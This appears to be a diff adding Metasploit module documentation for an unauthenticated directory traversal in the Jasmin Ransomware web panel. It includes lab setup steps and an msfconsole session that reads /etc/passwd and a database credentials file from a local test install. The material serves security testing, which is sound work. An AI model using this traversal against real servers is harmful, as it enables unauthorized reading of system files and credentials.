|
| 1 | +## Vulnerable Application |
| 2 | + |
| 3 | +The Jasmin Ransomware web server contains an unauthenticated directory traversal vulnerability |
| 4 | +within the download functionality. As of April 15, 2024 this was still unpatched, so all |
| 5 | +versions are vulnerable. The last patch was in 2021, so it will likely not ever be patched. |
| 6 | + |
| 7 | +### Install |
| 8 | + |
| 9 | +create a LAMP server (using php 8.2 worked for me, 7.2 did not). |
| 10 | +Run the following commands: |
| 11 | + |
| 12 | +``` |
| 13 | +git clone https://github.com/codesiddhant/Jasmin-Ransomware.git |
| 14 | +cd Jasmin-Ransomware |
| 15 | +sudo cp -r Web\ Panel/* /var/www/html/ |
| 16 | +sudo chown www-data:www-data /var/www/html/* |
| 17 | +sudo mysql -p |
| 18 | +``` |
| 19 | + |
| 20 | +Execute the following SQL commands: |
| 21 | + |
| 22 | +``` |
| 23 | +CREATE DATABASE jasmin_db; |
| 24 | +CREATE USER 'jasminadmin'@'localhost' IDENTIFIED BY '123456'; |
| 25 | +GRANT ALL PRIVILEGES ON jasmin_db.* TO 'jasminadmin'@'localhost'; |
| 26 | +Exit |
| 27 | +``` |
| 28 | + |
| 29 | +Now setup the database: |
| 30 | +`sudo mysql -u jasminadmin -p123456 jasmin_db < Web\ Panel/database/jasmin_db.sql` |
| 31 | + |
| 32 | +## Verification Steps |
| 33 | + |
| 34 | +1. Install the application |
| 35 | +1. Start msfconsole |
| 36 | +1. Do: `use auxiliary/gather/jasmin_ransomware_dir_traversal` |
| 37 | +1. Do: `set rhosts [ip]` |
| 38 | +1. Do: `run` |
| 39 | +1. You should get the content of a file if it exists. |
| 40 | + |
| 41 | +## Options |
| 42 | + |
| 43 | +### FILE |
| 44 | + |
| 45 | +File to retrieve. `etc/passwd` is the default, but |
| 46 | +`var/www/html/database/db_conection.php` contains the |
| 47 | +database credentials. |
| 48 | + |
| 49 | +## Scenarios |
| 50 | + |
| 51 | +### Jasmin installed on Ubuntu 22.04 |
| 52 | + |
| 53 | +``` |
| 54 | +msf6 > use auxiliary/gather/jasmin_ransomware_dir_traversal |
| 55 | +msf6 auxiliary(gather/jasmin_ransomware_dir_traversal) > set rhosts 127.0.0.1 |
| 56 | +rhosts => 127.0.0.1 |
| 57 | +msf6 auxiliary(gather/jasmin_ransomware_dir_traversal) > set verbose true |
| 58 | +verbose => true |
| 59 | +msf6 auxiliary(gather/jasmin_ransomware_dir_traversal) > rexploit |
| 60 | +[*] Reloading module... |
| 61 | +
|
| 62 | +[+] root:x:0:0:root:/root:/bin/bash |
| 63 | +daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin |
| 64 | +bin:x:2:2:bin:/bin:/usr/sbin/nologin |
| 65 | +sys:x:3:3:sys:/dev:/usr/sbin/nologin |
| 66 | +sync:x:4:65534:sync:/bin:/bin/sync |
| 67 | +games:x:5:60:games:/usr/games:/usr/sbin/nologin |
| 68 | +man:x:6:12:man:/var/cache/man:/usr/sbin/nologin |
| 69 | +lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin |
| 70 | +mail:x:8:8:mail:/var/mail:/usr/sbin/nologin |
| 71 | +news:x:9:9:news:/var/spool/news:/usr/sbin/nologin |
| 72 | +uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin |
| 73 | +proxy:x:13:13:proxy:/bin:/usr/sbin/nologin |
| 74 | +www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin |
| 75 | +backup:x:34:34:backup:/var/backups:/usr/sbin/nologin |
| 76 | +list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin |
| 77 | +irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin |
| 78 | +gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin |
| 79 | +nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin |
| 80 | +_apt:x:100:65534::/nonexistent:/usr/sbin/nologin |
| 81 | +systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin |
| 82 | +systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin |
| 83 | +messagebus:x:103:104::/nonexistent:/usr/sbin/nologin |
| 84 | +systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin |
| 85 | +pollinate:x:105:1::/var/cache/pollinate:/bin/false |
| 86 | +sshd:x:106:65534::/run/sshd:/usr/sbin/nologin |
| 87 | +syslog:x:107:113::/home/syslog:/usr/sbin/nologin |
| 88 | +uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin |
| 89 | +tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin |
| 90 | +tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false |
| 91 | +landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin |
| 92 | +fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin |
| 93 | +usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin |
| 94 | +lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false |
| 95 | +arangodb:x:998:999:ArangoDB Application User:/usr/share/arangodb3:/bin/false |
| 96 | +dnsmasq:x:114:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin |
| 97 | +postgres:x:115:121:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash |
| 98 | +dovecot:x:116:122:Dovecot mail server,,,:/usr/lib/dovecot:/usr/sbin/nologin |
| 99 | +dovenull:x:117:123:Dovecot login user,,,:/nonexistent:/usr/sbin/nologin |
| 100 | +rtkit:x:118:124:RealtimeKit,,,:/proc:/usr/sbin/nologin |
| 101 | +kernoops:x:119:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin |
| 102 | +cups-pk-helper:x:120:125:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin |
| 103 | +systemd-oom:x:121:128:systemd Userspace OOM Killer,,,:/run/systemd:/usr/sbin/nologin |
| 104 | +whoopsie:x:122:129::/nonexistent:/bin/false |
| 105 | +geoclue:x:123:130::/var/lib/geoclue:/usr/sbin/nologin |
| 106 | +avahi-autoipd:x:124:131:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin |
| 107 | +avahi:x:125:132:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin |
| 108 | +nm-openvpn:x:126:133:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin |
| 109 | +saned:x:127:135::/var/lib/saned:/usr/sbin/nologin |
| 110 | +colord:x:129:136:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin |
| 111 | +sssd:x:130:137:SSSD system user,,,:/var/lib/sss:/usr/sbin/nologin |
| 112 | +pulse:x:131:138:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin |
| 113 | +speech-dispatcher:x:132:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false |
| 114 | +gnome-initial-setup:x:133:65534::/run/gnome-initial-setup/:/bin/false |
| 115 | +gdm:x:134:140:Gnome Display Manager:/var/lib/gdm3:/bin/false |
| 116 | +mysql:x:136:143:MySQL Server,,,:/nonexistent:/bin/false |
| 117 | +
|
| 118 | +[+] Saved file to: /root/.msf4/loot/20240415125844_default_127.0.0.1_jasmin.webpanel._670418.txt |
| 119 | +[*] Scanned 1 of 1 hosts (100% complete) |
| 120 | +[*] Auxiliary module execution completed |
| 121 | +msf6 auxiliary(gather/jasmin_ransomware_dir_traversal) > set FILE var/www/html/data |
| 122 | +base/db_conection.php |
| 123 | +FILE => var/www/html/database/db_conection.php |
| 124 | +msf6 auxiliary(gather/jasmin_ransomware_dir_traversal) > rexploit |
| 125 | +[*] Reloading module... |
| 126 | +
|
| 127 | +[+] <?php |
| 128 | +$dbcon=mysqli_connect("localhost","jasminadmin","123456"); |
| 129 | +
|
| 130 | +mysqli_select_db($dbcon,"jasmin_db"); |
| 131 | +
|
| 132 | +?> |
| 133 | +
|
| 134 | +[+] Saved file to: /root/.msf4/loot/20240415125905_default_127.0.0.1_jasmin.webpanel._177654.txt |
| 135 | +[*] Scanned 1 of 1 hosts (100% complete) |
| 136 | +[*] Auxiliary module execution completed |
| 137 | +msf6 auxiliary(gather/jasmin_ransomware_dir_traversal) > |
| 138 | +``` |
| 139 | + |
0 commit comments